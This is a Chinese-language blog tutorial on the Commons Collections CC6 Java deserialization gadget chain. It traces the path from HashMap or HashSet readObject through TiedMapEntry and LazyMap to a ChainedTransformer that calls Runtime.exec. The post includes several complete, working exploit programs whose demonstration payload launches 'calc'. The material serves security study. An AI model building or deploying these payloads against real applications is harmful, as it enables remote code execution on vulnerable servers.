Java反序列化 CC6链分析

文章目录

前言

前面我们提到过,在JDK 8u71及以后,AnnotationInvocationHandler类的readObject方法被官方修改,加固了反序列化流程,导致不能再直接使用CC1调用LazyMap.get()触发恶意链条。今天我们来分析另一个链子,也是最好用的链子------CC6,CC6的通用性远强于CC1,通过新的入口组合HashMapTiedMapEntry来触发LazyMap.get(),因为HashMap是 Java 最基础的类,官方为了保证向后兼容性,几乎不可能修改它的反序列化逻辑,所以CC6不限制JDK版本,只要存在Commons Collections漏洞组件(<=3.2.1)即可触发

过程分析

LazyMap

这一部分还是跟之前一样,可以参考文章Java反序列化 CC1链分析 (LazyMap)

这里简单快速回顾一下

我们发现LazyMapget方法调用了transform

需要满足第一个条件map.containsKey(key) == false才可以调用transform,也就是要求map里面没有对应的key键名

然后我们看构造方法

factory参数可控,但是该构造方法被protected修饰,继续分析,发现decorate方法返回了该LazyMap的构造方法,而且是public,满足要求

根据之前讲的ChainedTransformer那一部分,我们可以构造测试代码如下

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, chainedTransformer);
        decorate.get("key");
    }
}

成功弹出计算器

TiedMapEntry

接下来我们来寻找哪里调用了get方法,根据CC链作者的发现,我们在TiedMapEntrygetValue方法发现调用了get()

继续寻找哪里调用了getValue方法,上次CC5我们发现了该类的toString方法调用了getValue,这次我们分析另一个,同样也是该类的,但是是hashCode方法

我们看看构造方法,发现map和key均可控

那我们可以初步构造测试代码如下

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");
        tiedMapEntry.hashCode();
    }
}

成功弹出计算器

HashMap

接着我们继续寻找哪里调用了hashCode方法,发现HashMap类的hash方法调用了hashCode()

继续跟进,看看hash方法在哪里被调用,发现该类的readObject方法调用了hash,刚好还是反序列化入口,一举两得

readObject里面的这一大串代码是什么呢,其实是用于实现HashMap的反序列化机制,即把对象从流中还原为内存中的HashMap结构,确保反序列化后HashMap状态与序列化前一致,包括容量、负载因子、键值对数据等,因此我们可以不用管这个

然后key我们怎么控制呢,通过put方法传入键值对即可,我们看看该类的put方法是怎么写的

发现put方法里面也调用了hash方法,这就导致还没序列化就弹出计算器了,这并不是我们想要的

那如何解决呢,我们可以给LazyMap传入一个无害的Transformer,如ConstantTransformer(1),这样put的时候即使触发了也不会执行命令,后面我们再通过反射修改LazyMap内部的factory属性为ChainedTransformer即可

我们尝试构造代码如下

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");
        Map<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "test");

        Class lazyMapClass = LazyMap.class;
        Field field = lazyMapClass.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(decorate, chainedTransformer);

        serialize(hashMap);
        unserialize("cc6.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

但是执行后并没有计算器弹出来,说明还存在一些问题

通过调试分析发现,在LazyMap执行get方法时,key并不等于false,而是为test,说明map里面已经存在了键名为test的键值对,这就导致无法进入if语句里面调用transform方法,为什么会这样呢

原因是我们前面调用hashMapput方法时,也就是hashMap.put(tiedMapEntry, "test");这条语句,它执行了一遍流程,调用了LazyMapget方法,当它再次进入if语句时,发现map里面没有key为test的键值对,就执行代码map.put(key, value);插入键值对,导致我们后面反序列化执行流程时map已经存在键值对,也就无法进入if语句了

所以解决办法就是在hashMap.put()之后,删掉LazyMap实例化对象的对应键值对,这样就不会直接返回该key的值,从而导致利用链断裂了

java 复制代码
decorate.remove("test");

最终利用

综上,我们可以得到完整exp为

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");
        Map<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "test");

        decorate.remove("test");

        Class lazyMapClass = LazyMap.class;
        Field field = lazyMapClass.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(decorate, chainedTransformer);

        serialize(hashMap);
        unserialize("cc6.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

成功弹出计算器

这里放个流程图方便理解

HashSet

前面我们用的是HashMapreadObject,但在ysoserial里面的CC6用的入口是HashSetreadObject,因此我们补充讲解一下

我们跟进到HashSetreadObject方法,发现这里调用了put方法

前面一大串代码是恢复HashSet内部状态和备份HashMap结构的操作,可以不用管,我们只要传入e,也就是key为tiedMapEntry即可,怎么传呢,通过HashSet给的add方法来传

但是这里又有个put,会提前调用到hash方法触发利用链,这里的情况跟之前一样,咱们就不讲了,同样也是给LazyMap传入一个无害的 Transformer,如 ConstantTransformer(1),然后在hashSet.put()之后删掉LazyMap实例化对象的对应键值对即可

得到完整代码如下

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");
        HashSet hashSet = new HashSet<>();
        hashSet.add(tiedMapEntry);

        decorate.remove("test");

        Class lazyMapClass = LazyMap.class;
        Field field = lazyMapClass.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(decorate, chainedTransformer);

        serialize(hashSet);
        unserialize("cc6.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

成功弹出计算器

同样的,我们放个流程图方便理解

总结

CC6利用链通过HashMapHashSet作为反序列化入口,巧妙利用了其readObject必然调用hash()的特性,配合TiedMapEntry成功绕过了JDK高版本对CC1的限制,实现了全版本通杀,不得不感慨CC6链作者的构思之精妙

相关推荐
独自破碎E10 分钟前
Java是怎么实现跨平台的?
java·开发语言
To Be Clean Coder17 分钟前
【Spring源码】从源码倒看Spring用法(二)
java·后端·spring
xdpcxq102936 分钟前
风控场景下超高并发频次计算服务
java·服务器·网络
想用offer打牌39 分钟前
你真的懂Thread.currentThread().interrupt()吗?
java·后端·架构
橘色的狸花猫1 小时前
简历与岗位要求相似度分析系统
java·nlp
独自破碎E1 小时前
Leetcode1438绝对值不超过限制的最长连续子数组
java·开发语言·算法
用户91743965391 小时前
Elasticsearch Percolate Query使用优化案例-从2000到500ms
java·大数据·elasticsearch
合才科技1 小时前
【要闻周报】网络安全与数据合规 12-31
安全·web安全
yaoxin5211231 小时前
279. Java Stream API - Stream 拼接的两种方式:concat() vs flatMap()
java·开发语言
坚持学习前端日记2 小时前
2025年的个人和学习年度总结以及未来期望
java·学习·程序人生·职场和发展·创业创新